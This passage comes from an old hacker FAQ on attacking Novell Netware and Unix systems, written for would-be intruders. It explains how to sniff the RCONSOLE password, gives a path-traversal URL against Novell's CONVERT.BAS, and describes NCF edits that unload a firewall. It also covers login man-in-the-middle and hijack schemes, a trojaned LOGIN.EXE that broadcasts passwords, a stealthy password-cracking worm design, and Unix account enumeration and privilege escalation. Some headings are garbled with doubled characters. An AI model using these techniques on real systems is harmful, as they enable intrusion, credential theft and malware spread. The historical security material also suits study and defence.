around somewhere, which may be of interest as another potential system
to gain access to.
During the RCONSOLE process, the password does come across the wire
encrypted. If you look at the conversation you will see packets
containing the RCONSOLE.EXE being opened, the possible servers to be
accessed, etc. This conversation is nothing but NCP packets.
Now comes the use of a tool called RCON.EXE from itsme that can take
some of the information you have collected and turn it into the
password. What you need are the first 8 hex bytes starting at offset
3Ah, the network address, and the node address. Now the network and
node address are in the header of the packet that contains the
encrypted password, but can also get these by typing USERLIST /A which
returns this info (and more) for each person logged in.
Now why just the first 8 hex bytes? That's all Novell uses. Great
encryption scheme, huh?
It has pointed out that RCONSOLE sends screens in plaintext across the
network for all to see (well, all with sniffers). This means you can
see what is being typed in and what is happening on the screen. While
it is not the prettiest stuff to look at, occassional gems are
available. The best gem? The RCONSOLE password. The server had been
brought up without REMOTE and RSPX being loaded, they were loaded by
hand at the console after the server was brought up. The first
RCONSOLE session brought up the screen with the lines LOAD REMOTE and
LOAD RSPX PASSWORD (with PASSWORD being the RCONSOLE password), and
this was being sent to the RCONSOLE user's workstation in plaintext.
Einer kindly reminded me that sniffing will show other usernames and
passwords such as TELNET, FTP, POP3, and others. Often users use the
same passwords from system to system, so these passwords could be used
to try on the Netware accounts. In large shops, the administrators of
Netware may also have the same passwords for privileged accounts from
system to system, so the Admin or Supervisor account may match the
root account on a Unix box. Therefore a TELNET session that contains
an su to root might reveil the Admin password.
+#o You use a proprietary shell that can be loaded without accessing
the server, therefore no shell exploits exist.
+#o Virtually all Netware utilities do NOT use stdin and stdout, so no
stack overruns that exploit anything.
+#o Since the shell is run locally, not on the server, you have no way
to use a utility to gain greater access than you have been granted,
like a SUID script in Unix.
+#o Yes there are utilities like HACK.EXE that grant extra access under
certain conditions in 3.11, but no Novell-produced utility comes
close to granting extra access.
Adrian Cunnelly recently made his C libs for Netware free. You can
reach him at adrian@amcsoft.demon.co.uk. These include the source
code. Check SimTel mirrors in the msdos/c/ directory for netclb30.zip
And take a look at Greg Miller's site, especially for those Pascal
coders out there at http://www.users.mis.net/ gregmi/.
Pandora v3.0 includes its own API, the Pandora Toolbox API, written by
Jitsu-Disk. While the project was intended for hackers and not admins,
some coders might find it to be a useful package. It is available at
http://www.nmrc.org/pandora/index.html
<http://www.nmrc.org/pandora/index.html>.
The "GNU Novell Client" project gives a unique insight on the NCP
protocol, it can be downloaded at
http://sunsite.unc.edu/pub/Linux/system/remotefs/ncpfs/ncpfs-2.0.0.tgz
<http://sunsite.unc.edu/pub/Linux/system/remotefs/ncpfs/ncpfs-2.0.0.tgz>.
It has tons of source code included.
This one is dangerous. This one will get you your Admin account back
if you lost the password, and is not for the light-hearted if you plan
on actually using NDS afterwards. Do this at a 4.1 console:
Now in the INSTALL module, go ahead and try to remove NDS. As a part
of the process, it will ask you for the Admin password, get this, JUST
MAKE ONE UP. If you get errors, no problem. Keep going and you can
remove NDS from the server. Even though you gave it the wrong
password, it will still let you remove NDS. I told you this one is
real wicked...
As mentioned in the password section, you can set the bindery context
of a server to help you recover a lost ADMIN password. It should be
noted that you can only access containers in the current servers
partition.
+#o One afternoon the temporary uses SETPWD.NLM and resets the
MAINTENANCE account password.
+#o The next day (after replication) the temporary rifles through all
accounting documents which include payroll and personal
information, sales forecasts, future plans for capital expenditure,
etc.
+#o If FRED is a psychopath, he can delete the Admin account and render
tree management useless.
http://www.egsoftware.com/ <http://www.egsoftware.com/>
http://www.bindview.com/ <http://www.bindview.com/>
http://www.egsoftware.com/ <http://www.egsoftware.com/>
http://www.intrusion.com/ <http://www.intrusion.com/>
"SafeWord for Netware Connect" is an NLM that does password checks in
a Netware Connect environment:
http://www.safeword.com/nwcspec.html
<http://www.safeword.com/nwcspec.html>
Which product is best? Two stand out -- Bindview NDS and Kane Security
Analyst. KSA is more of a security-type product and has some neat
features, but Bindview's customization allows for more details to be
explored. NMRC uses Bindview on its 4.x servers (okay they sent a free
copy, but it is still good and if it had sucked I would have told you
that. My day job uses it too).
Novell's Web Server had a HUGE bug. The CGI scripts are Basic programs
(yes you are about to hack a server using Basic!) and several are
included with the server. One in particular, CONVERT.BAS, takes a file
and converts it to HTML and then sends it to the user. Here's an
example for www.target.com:
http://www.netware.nmrc.org/scripts/convert.bas?readme.txt
http://www.netware.nmrc.org/scripts/convert.bas?../../any_file_on_sys_volume
With IntranetWare, the FTP NLM has a couple of problems. The standard
installation gives Read and File Scan access to SYS:ETC so anonymous
users can access files in that directory. This is a problem if you use
INETCFG to configure RCONSOLE and then don't go back and encrypt the
password in the file. The SNMP community password is in this
directory, to say nothing about protocols, addresses, and other
configuration information.
The wily Admin can turn off the rights, but guess what? Doing this
breaks the logging feature.
The other major problem on Netware 4.1 with FTPSERV.NLM is that some
users logging in via FTP are granted excessive rights. Stopping and
starting the NLM seems to put the rights back the way they are
supposed to, but then they seem to come back to FULL rights. Using
Fetch as an FTP client tends to make this happen all of the time.
UNLOAD REMOTE
LOAD REMOTE HACKPASSWORD
LOAD XCONSOLE
Can't telnet past that NLM-based firewall? Add the commands to the NCF
file to simply unload it! You can reload it after you've gained
access, if you desire.
Access via Novell's FTP NLM is another problem. If you can gain access
to the server via FTP and get read/write access to the SYS: volume,
you can alter NCF files and open up all kinds of access.
First off, the NDS files are located in the SYS:_NETWARE directory.
You would of course have to gain access to these files. And there are
a couple of ways to do this. You can use the techniques described in
the Netware Console Attack section, which will allow all kinds of
things. But let's say the administrator of the server has removed
NETBASIC, and you can't upload a file like JCMD.NLM. You are not
entirely sunk.
3. LOAD DSMAINT
A hacker can make changes to the resource fork files without having
modify rights. If write rights are removed, the files are secure, but
nothing can be added to the directory.
2#23#3.#. N#Ne#et#tw#wa#ar#re#e
M#Ma#at#th#he#em#ma#at#ti#ic#ca#al#l/#/T#Th#he#eo#or#re#et#ti#ic#ca#al#l
I#In#nf#fo#o
In 3.x and 4.x, passwords are encrypted. Here is the rough way in
which 3.x handles this -
2. The server looks up Alice's name and retreives her UID. The server
also generates a random value R, and sends the (UID,R) pair to
Alice.
Note: The last step is only done if both Alice and the server agree to
sign packets.
The NetWare 4.x login sequence (4.x uses a private/public key scheme
using RSA):
4. The server decrypted the (Y,R2) pair. If Y=Y', the password Alice
gave is correct. The server retrieves Alice's private key, computes
Z=(Alice's private key XOR R2) and transmits Z to Alice.
It should be noted that Netware 4.x encrypts Alice's RSA private key
with X' when it's stored on the server.
Another way is to gain two entry points into the network (one close to
Alice, the other close to the server). The best way to do this is to
wire two hosts together in the specified locations. If using wire is
infeasable (which in most cases it will be), Bob can use wireless
network cards, or modems plugged into existing phone jacks, or modems
with cellular capability. If modems are used, the attack will require
Bob to take control of two computers on the network, and will increase
the time needed to get packets to Alice or the server.
This attack will not work if the server requires Alice to sign
packets. Alice's workstation may be set up to sign packets, and Alice
can still use signed packets, and the attack will still work. However,
if all hosts are required to sign packets, the attack won't work. This
is because Bob will never know Alice's password, nor will he ever know
X=hash(UID,password). Since NetWare 3.x defaults to allowing the host
to decide wether or not to sign packets, this attack is still
feasable. Sysadmins can defeat this attack by requiring packet
signatures for all hosts.
The attack:
When Bob sees Alice request a login, Bob also requests a login as
Alice from. The server will generate two random values (R[a] and R[b],
denoting the R sent to Alice and the R sent to Bob respectivley). When
Bob receives R[b], he spoofs the servers address and sends R[b] to
Alice. Alice will think the server requested Alice to compute
Y[b]=hash(X,R[b]) rather than what the server really intended:
Y[a]=hash(X,R[a]). Alice will then send Y[b] to the server, Bob will
sniff Y[b] from the network as Alice sends it, and transmit it to the
server (using his real address). At this point the server will think
Alice has attempted to login twice. Bob's attempt will work, and
Alice's attempt will fail. If all went well, Bob has assumed the
identity of Alice without knowing her password, and Alice is re-typing
in her password.
If the server won't allow the same user to login twice simultaneously,
or ever aborts both login sequences after retreiving two responses to
the same question, then Bob should saturate a network (but not shut it
down completely) between Alice and the server while Bob is attempting
to login as Alice.
For the ultra paranoid: Bob should be careful, there may be another
attacker, Joe, just waiting for Alice to login with packet signing
turned off. Here Joe can also assume the identity of Alice with
significantly less effort.
The attack follows the Netware 3.x attack until Alice attempts to
retrieve the server's public key. At this point Bob sends his own
public key to Alice. Alice will then send the server the pair (Y,R2)
encrypted with Bob's public key. Bob sniffs this information off the
network, decrypts the pair (Y,R2). Then generates his own R2 (or
keeps the one Alice chose), retreives the real public key of the
server and sends the server the pair (Y,R2) encrypted with the
server's real public key.
If server the is requiring packet signature, the server will then send
Bob Z to allow him access as Alice. Bob doesn't know Alice's private
key, as he never receives it. Remember that Netware 4.x encrypts
Alice's RSA private key with X' when it's stored on the server, and is
never send unencrypted on the wire. So Bob can't sign packets as
Alice.
But Bob is not completely out of luck yet. Bob can try an offline
attack at guessing Alice's password since he knows Y', R and Alice's
UID. Bob needs to find X, such that Y=hash(X,R) = Y'. Since it's
likely that Alice's password in not a particularly good one, this is a
severe reduction in security, but not a total breach, since Bob can
compute X by finding a password such that X=hash(pass,UID). Once Bob
knows X, he can determine what Alice's private RSA key is. THEN he can
sign packets.
It should be noted that Alice may cache the server's public key for
the second login attempt. If this is true, Alice won't be able to
login and may notice what has happened. But Alice's private RSA key
will never change, and once that is attained is doesn't matter even if
Alice changes her password. Alice's password can still be discovered.
Using one of the strategies used by the Internet Worm of 1988 combined
with simple virus strategy, a virus can be constructed to infect many
clients/servers across many networks (the virus could also employ
attacks similiar to HACK.EXE or even Man-In-The_Middle attacks). Some
NetWare networks will have a large number of servers attached. It's
also true that most users (including Supe and Admin) will use the same
password on many different servers (some may have no password at all).
A virus could exploit this vulnerability and spread to other servers
which it otherwise would not have access to. The virus could also use
the idle CPU time on infected clients to crack the passwords of other
users.
However, care must be taken not to give the virus away by setting off
intruder detection alarms. The virus should randomly select one user
from a randomly selected server attempt to login using a randomly
selected word from a wordlist. How often the client should attempt
logins depends upon the size of the network (remember that if the
virus succeeds, there may be 10s of thousands of clients breaking
passwords in parrallel).
The virus should estimate the size of the network, and use laws of
probibility to determine how often to attempt a break in so that no
account is tried twice in the same hour. This should be calculated by
relating the number of unique accounts, the number of clients
(estimated by monitoring network traffic and assuming all servers have
the same number of clients on their network. While this is not 100%
accurate, this should be accurate enough for our purposes.
Apparently so.
The optimal attack here would be to send a modified copy of the real
LOGIN.EXE file. The modified EXE could encrypt the user's password
(using public key crypto) and broadcast it to the network. However,
the modified EXE could also carry out the login handshake as normal
and log the user in and executing the login script. With this attack,
the target user would have no way of identifying that anything out of
the ordinary has happened. It appears that NetWare always starts with
the sequence numbers at 0 and increments seq + 1 from there for the
remainder of the session. Thus it's possible to predict the sequence
numbers. This will allow the attacker to exploit the hole without
using a MITM attack and still allow the conversation to continue
normally by using only a single workstation.
The attack can also be carried out by any single host on the network
which is capable of sniffing the request to download LOGIN.EXE. It's
also possible to do this even if the workstation and the server are on
the same network (if and only if the server is slower responding to
requests than the attacker's machine). Here the attacker just makes up
the sequence numbers, and sends the workstation a phony LOGIN.EXE
which will broadcast the user's password (again, encrypted) over the
network and then re-boot the machine. (It's also possible for the
attacker to log the user in and have the attack transperent to the
user. In this case, the attacker would have to sniff one of the
server's packets off the network, and re-send it to the workstation
with adjusted sequence numbers so that the workstation's next ACK will
synch with the server's sequence numbers. Note that the attacker will
have to artificially ACK the packets the server sends when the client
tries to download LOGIN.EXE.)
It's been stated that only the first few bytes of NetWare packets are
signed. That means the user can not only modify LOGIN.EXE on the fly,
but can modify any program on the fly.
Let's put this into a more proper perspective. The exploit program
would take the MAC address of an admin/supe person as a parameter,
wait for the user to attempt to login, exploit the host, and exit. If
the attacker didn't want to take the effort to allow the conversation
to continue, s/he could make the exploit program re-boot the host
automatically after broadcasting the password over the network (once
again, encrypted and intended for the attacker).
The idea came from an already known hole in NFS for UNIX (it's
exploited exactly the same way). But NetWare is supposed to avoid this
hole through the use of packet signatures. It obviously didn't. The
exploit for this hole would really not be much different than the code
for HACK.EXE which uses the same principles.
Now the MITM attack isn't required to take advantage of any part of
this attack. It would be if the attacker couldn't predict the server's
and the user's sequence numbers. This has the following effects:
1. The attacker doesn't need to sniff one of the server's packets off
the network to resynchronize the sequence numbers.
3. The MITM attack isn't needed to modify a program on the fly. Any
single workstation can implement the attack.
Netware 3.x does not use the public key crypto stuff that Netware 4.x
uses, so to transmit a password across the wire during a password
change it has to be encrypted with something. The new password is
encrypted with the previous password. However if the previous password
is blank (i.e. new account) the "key" to encrypt with might as well be
plaintext.
The other problem involves the fact that packet signature only uses
the first 52 bytes of the data portion, which means any data from byte
89 and on could be altered, a new checksum generated, and the packet
would now have a valid signature AND checksum, but altered data.
All Unix systems have an account called root. This account is also
commonly known as the SuperUser. Actually any account with a UID and
GID of zero could be considered a SuperUser account. It is possible
that a system administrator will rename the root account for
obfuscation, but this is rather impractical as many applications not
only require the UID zero but actually require the name of the account
be "root" to run certain functions. As administrators do not wish to
create more problem or have to patch more code than neccessary, this
is a rare occurence.
Oh, and unless you've being living under a rock, you should already
know that root is god on Unix.
Here are a few other accounts and passwords (if known) commonly found
on Unix systems:
Remotely you have a few things you can try. Here are a few
suggestions:
f#fi#in#ng#ge#er#r
By typing in finger @targethost you get get users that are
currently logged in. This will give you a few account. Also by
typing finger account@targethost you can determine if that
account is valid, and possibly the last time it has been
accessed. Unfortunately most Unix systems refuse finger requests
from remote hosts, so this usually doesn't do you a lot of good.
But if finger is allowed, it can return a lot of information.
Try running finger with a -l for more verbose listings. If you
gain local access, use finger account to get info on other
accounts on the system. For example, if finger root returns info
about an administrator named Fred, then finger fred, which may
reveil Fred's regular account.
r#ru#us#se#er#rs#s
You can run rusers targethost which may return remote user info
if the service is allowed.
w#wh#ho#oi#is#s
Doing a whois domain will return info about who is responsible
for a domain, and usually included a valid account name. You can
use this to possibly determine other account names, and odds are
very good that the administrative contact and/or the technical
contact have the system privileges you desire.
m#ma#ai#il#l
Often by telnetting to the mail server and trying to verify or
expand names you can learn account names. By typing telnet
targethost 25 and typing in EXPN account or VRFY account will
tell you if that account is valid. You may have to type in HELO
or some other commands before you can do an EXPN or VRFY.
If you can gain access locally, such as through a guest account, there
are a number of things you can do to view possible account names. Try
using some of the finger techniques from above minus the targethost,
try typing w or who or even more /etc/passwd to get account names.
The password file for Unix is located in /etc and is a text file
called passwd. By default and by design this file is world readable
by anyone on the system. On a Unix system using NIS/yp or password
shadowing the password data may be located elsewhere.
Okay first off let's cover the structure of the password file.
nomad:HrLNrZ3VS3TF2:501:100:Simple Nomad:/home/nomad:/bin/bash
nomad - Account or user name, what you type in at the login prompt
HrLNrZ3VS3TF2 - One way encrypted password (plus any aging info)
501 - User number
100 - Group number
Simple Nomad - GECOS information
/home/nomad - Home directory
/bin/bash - Program to run on login, usually a shell
The password field contains, yes, a one way encrypted password. This
means that it is practically impossible to decrypt the encrypted
password. The password field consists of 13 characters - the first two
characters are the "salt" and the remainder is the actual hash.
When you log in with your account name and password, the password is
encrypted and the resulting hash is compared to the hash stored in the
password file. If they are equal, the system accepts that you've
typed in the correct password and grants you access.
Unix passwords allow mixed case, numbers, and symbols. Typically the
maximum password length on a standard Unix system is 8 characters,
although some systems (or system enhancements) allow up to 16
characters.
There are a few brute force crackers out there for Unix passwords. Any
brute force cracker will do -- I personally don't believe in using
them as there are other ways to circumvent security than trying a
brute force crack on the root password.
Another popular favorite is John the Ripper, based off of the popular
DOS-based Jack the Ripper. Jack had a number of easy-to-use features,
and Solar Designer took Jack's interface and developed John. To make
things even better, Solar added Crack-like rules, and made sure the
code would run on DOS or Unix. Either one is recommended. If you're
going to be cracking on a DOS-based machine, use John the Ripper,
otherwise either one is fine for Unix (the jury is still out on which
one is best for Unix, it really depends on which one you are used to
using).
2#25#5.#.5#5.#. H#Ho#ow#w d#do#oe#es#s a#a S#Sy#ys#s A#Ad#dm#mi#in#n
e#en#nf#fo#or#rc#ce#e b#be#et#tt#te#er#r p#pa#as#ss#sw#wo#or#rd#ds#s a#an#nd#d
p#pa#as#ss#sw#wo#or#rd#d m#ma#an#n-#-
a#ag#ge#em#me#en#nt#t?#?
There are several techniques that a Sys Admin might employ to force
users to use better passwords, and several different packages that
could be loaded and configured onto most Unix systems to better secure
the passwords.
nomad:!:501:100:Simple Nomad:/home/nomad:/bin/bash
Note the ! token in place of the one way encrypted password. This
means that the password is located in a different file, typically
called the shadow file. You will also find a * token on some shadow
password implementations. On many Unix systems the password file is
still located in /etc but called shadow, some systems even place the
shadow in a different directory. Here is a chart that lists a few
systems, the location of the shadow, and the token.
Okay, so you've gained access to a system and can see the password
file, but it is shadowed. Here is an example:
root:!:0:0:root:/root:/bin/tcsh
bin:!:1:1:bin:/bin:
daemon:!:2:2:daemon:/sbin:
adm:!:3:4:adm:/var/adm:
lp:!:4:7:lp:/var/spool/lpd:
sync:!:5:0:sync:/sbin:/bin/sync
shutdown:!:6:0:shutdown:/sbin:/sbin/shutdown
halt:!:7:0:halt:/sbin:/sbin/halt
mail:!:8:12:mail:/var/spool/mail:
news:!:9:13:INN (NNTP Server) Admin ID, 525-2525:/usr/local/lib/inn:/bin/ksh
uucp:!:10:14:uucp login user:/var/spool/uucppublic:/usr/sbin/uucp/uucico
operator:!:0:0:operator:/root:/bin/tcsh
games:!:12:100:games:/usr/games:
man:!:13:15:man:/usr/man:
postmaster:!:14:12:postmaster:/var/spool/mail:/bin/tcsh
httpd:!:15:30:httpd:/usr/sbin:/usr/sbin/httpd:
nobody:!:65535:100:nobody:/dev/null:
ftp:!:404:100::/home/ftp:/bin/nologin
nomad:!:501:100:Simple Nomad, 525-5252:/home/nomad:/bin/bash
webadmin:!:502:100:Web Admin Group ID:/home/webadmin:/bin/bash
thegnome:!:503:100:Simple Nomad's Old Account:/home/thegnome:/bin/tcsh
dorkus:!:504:100:Alternate account for Fred:/home/dorkus:/bin/tcsh
Some of the more interesting things about this password file are:
+#o User "operator" has a user number of zero, so this user is root
equiv.
+#o Eight accounts have interactive shells, so you have eight targets
for direct shell access.
+#o Multiple services, such as news, web, and possibly anonymous ftp
are configured on the box.
+#o The telephone prefix is 525 (fire up the wardialer and look for a
modem).
+#o Suspicious "dorkus" account. There may exist an account for Fred on
another box (check for .rhosts, etc).
This section deals with attacking Unix from a local account or from
the console itself.
When you are trying to attack and gain root on a file server, a method
to start with is to gain at least limited access on a system. There
are large numbers of exploits to "bust root" but many require you have
an account on the box. Here is an example attack scenario:
+#o Brag to all your friends and on IRC so you get caught and go to
jail (this step is optional).
There are several different attack techniques you can use from a local
account and the handy exploit you are running. Here are a few common
ones with extremely simple explanations:
M#Mi#is#sc#co#on#nf#fi#ig#gu#ur#ra#at#ti#io#on#n
If excessive permission exist on certain directories and files,
these can lead to gaining higher levels of access. For example,
if /dev/kmem is writable it is possible to rewrite your UID to
match root's. Another example would be if a .rhosts file has
read/write permissions allowing anyone to write them. Yet
another example would be a script launched at startup, cron, or
respawned. If this script is editable, you could add commands to
run with the same privileges as who started them (particularly
for startup rc files this would be as root).
P#Po#oo#or#r S#SU#UI#ID#D
Sometimes you will find scripts (shell or Perl) that perform
certain tasks and run as root. If the scripts are writable by
your id, you can edit it and run it. For example I once found a
shutdown script world writable. By adding a few lines at the
beginning of the script it was possible to have the script
create a root shell in /tmp.
B#Bu#uf#ff#fe#er#r O#Ov#ve#er#rf#fl#lo#ow#w
Buffer overflows are typically used to spawn root shells from a
process running as root. A buffer overflow could occur when a
program has a buffer for user-defined data and the user-defined
data's length is not checked before the program acts upon it.
See the next question for more details.
R#Ra#ac#ce#e C#Co#on#nd#di#it#ti#io#on#ns#s
A Race Condition is when a program creates a short opportunity
for evil by opening a small window of vulnerability. For
example, a program that alters a sensitive file might use a
temporary backup copy of the file during its alteration. If the
permissions on that temporary file allow it to be edited, it
might be possible to alter it before the program finishes its
editing process.
A remote hack is when you attack the server you are not logged into.
Usually this is done from another server, although in some cases you
can do it from a regular PC (depending on the operating system).
Log files for Unix vary from flavor to flavor. But there are a few
guidelines as to where these logs are kept.
File Purpose
------------------- ---------------------------------------
/var/spool/cron/log Cron log file
/var/log/maillog Logs inbound and outbound mail activity
/var/spool/lp/log Log file for printing
While there are dozens of WWW sites with information, here is a list
of some that deal mainly with security, or with some of the tools
discussed in this FAQ.
NT: http://www.l0pht.com/l0phtcrack/
<http://www.l0pht.com/l0phtcrack/> http://www.somarsoft.com/
<http://www.somarsoft.com/> http://www.ntsecurity.com/
<http://www.ntsecurity.com/> http://listserv.ntbugtraq.com/
<http://listserv.ntbugtraq.com/> http://www.ntresearch.com/
<http://www.ntresearch.com/> http://www.ntinternals.com/
<http://www.ntinternals.com/> http://www.intrusion.com/
<http://www.intrusion.com/> http://www.iss.net/ <http://www.iss.net/>
http://samba.anu.edu.au/pub/samba/samba.html
<http://samba.anu.edu.au/pub/samba/samba.html>
http://home.eunet.no/~pnordahl/ntpasswd/
<http://home.eunet.no/~pnordahl/ntpasswd/>
http://www.dataprotect.com/ntfrag/
<http://www.dataprotect.com/ntfrag/>
NT Security: comp.os.ms-windows.nt.admin.security
NT-BugTraq:
Like the BugTraq list, this is a full disclosure list. Send "subscribe
ntbugtraq firstname lastname" (without the quotes) in the body of a
message to listserv@listserv.ntbugtraq.com.
http://www.it.kth.se/~rom/ntsec.html
<http://www.it.kth.se/~rom/ntsec.html>